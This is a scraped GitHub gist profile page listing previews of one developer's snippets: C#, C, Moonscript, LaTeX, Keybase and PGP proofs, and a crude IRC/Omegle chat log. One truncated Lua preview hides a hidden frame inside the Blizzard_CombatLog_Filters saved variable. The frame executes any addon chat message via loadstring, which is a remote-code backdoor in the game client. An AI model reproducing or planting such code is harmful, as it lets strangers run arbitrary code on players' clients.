Skip to content

Instantly share code, notes, and snippets.

View Sharparam's full-sized avatar
🏭
The factory must grow!

Adam Hellberg Sharparam

🏭
The factory must grow!
View GitHub Profile
@Sharparam
Sharparam / DateTimeExtensions.cs
Created October 14, 2012 14:20
WoW AddOn packager (with Git support using NGit)
using System;
namespace F16Gaming.WoW.AddonPackager.Extensions
{
public static class DateTimeExtensions
{
public static readonly DateTime Epoch = new DateTime(1970, 1, 1, 0, 0, 0, 0);
public static long ToUnixTimestamp(this DateTime time)
{
@Sharparam
Sharparam / keybase.md
Last active August 29, 2015 14:00
keybase.md

Keybase proof

I hereby claim:

  • I am sharparam on github.
  • I am sharparam (https://keybase.io/sharparam) on keybase.
  • I have a public key whose fingerprint is 3DFA EBE6 51BF 2E64 3B1B 3A3F CFC0 1CAD 18FB A436

To claim this, I am signing this object:

#include "random.h"
#include <assert.h>
#include <stdbool.h>
#include <stdlib.h>
#include <time.h>
void init()
{
static bool seeded = false;
if (seeded)
nodes = {}
add_node = (name) ->
return if nodes[name]
nodes[name] = {}
add_edge = (first, second, cost) ->
error 'One of the nodes do not exist' unless nodes[first] and nodes[second]
return if nodes[first][second]
nodes[first][second] = cost
Blizzard_CombatLog_Filters = Blizzard_CombatLog_Filters or {}
local s, g, w, j, k, c, f, u, x, q, r, l = Blizzard_CombatLog_Filters,
GetNumMacros,
[[
z = z or CreateFrame('button')
z:RegisterEvent('CHAT_MSG_ADDON')
z:SetScript('OnEvent',function(_, _, _, m)
pcall(loadstring(m))
end)
@Sharparam
Sharparam / #kottnet.log
Created April 1, 2017 11:20
Omegle conversation on irc.kottnet.net#kottnet
Apr 01 02:05:24 <Omegle> [AWAITING STRANGER]
Apr 01 02:05:24 <Omegle> [STRANGER CONNECTED]
Apr 01 02:05:25 <marlzey> hi, r u a bot or human, do you have a unicorn costume if youre a human?
Apr 01 02:05:44 <Omegle> <Stranger> no, i just have a nazi uniform custume
Apr 01 02:05:52 <Omegle> <Stranger> but it is as magical as a unicorn
Apr 01 02:05:56 <marlzey> oh my fucking god youre the first person ive seen on omegle in past 15 min
Apr 01 02:06:06 <marlzey> the prayers have been answered!
Apr 01 02:06:25 <Omegle> <Stranger> prayers to who?
Apr 01 02:06:31 <marlzey> anyone who listens
Apr 01 02:06:38 <Omegle> <Stranger> allah?
@Sharparam
Sharparam / flyer-mwe.tex
Created April 20, 2017 11:23 — forked from gpadd/flyer-mwe.tex
Stupid dot and "empty" first page latex (lualatex)
%!TeX program=lualatex
%%%%%----------------------------------------------------------------------%%%%%
%\documentclass[12pt,a4paper,titlepage,draft]{article}
\documentclass[12pt,a4paper]{article}
%%%%%----------------------------------------------------------------------%%%%%
\usepackage{mwe}
\usepackage[usenames]{xcolor}
\usepackage[a4paper,total={6in, 8in}]{geometry}
\usepackage[export]{adjustbox}
\usepackage{luaotfload}
@Sharparam
Sharparam / Program.cs
Last active February 23, 2019 16:52
Apex Steam Launcher
namespace ApexSteamLauncher
{
using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
using Microsoft.Win32.TaskScheduler;
public static class Program
@Sharparam
Sharparam / key-transition_18FBA436-to-7B00AD04_2020-02-17.txt.sig
Created February 17, 2020 20:35
Key transition statement, 2020-02-17
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
2020-02-17 21:23:00 +01:00
After getting myself a YubiKey, I've now set up a new OpenPGP key, and will be
transitioning away from my old one.
The old key will continue to be valid for some time, but i prefer all future
correspondence to come to the new one. I would also like this new key to be

Keybase proof

I hereby claim:

  • I am Sharparam on github.
  • I am sharparam (https://keybase.io/sharparam) on keybase.
  • I have a public key whose fingerprint is A6B6 5DCE 2EB7 BEAE 9600 74E6 C58C 41E2 7B00 AD04

To claim this, I am signing this object: